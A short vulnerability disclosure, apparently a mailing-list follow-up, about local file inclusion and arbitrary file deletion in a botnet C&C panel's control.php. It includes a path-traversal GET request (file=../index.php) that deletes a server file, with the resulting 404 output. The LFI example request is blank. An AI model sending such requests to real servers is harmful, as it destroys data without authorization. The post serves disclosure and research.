Two other vulnerabilities I forgot to mention, lfi and file deletion via
control.php. The user must be logged into the administrative panel.
1. LFI
GET

2. Arbitrary file deletion
GET http://evilserver.net/control.php?act=delshell&file=../index.php
Enter username for Who are you? at evilsite.net:80:eviladmin
Password:
wget evilserver.net/index.php
HTTP request sent, awaiting response... 404 Not Found
2013-02-17 09:03:49 ERROR 404: Not Found.
The panel's c&c gateway is index.php. In older versions it was easily
identifiable as the only output it returned was "404 Error''
The newer versions mask the gateway with a standard 404 Not Found, but with
a 200 status.
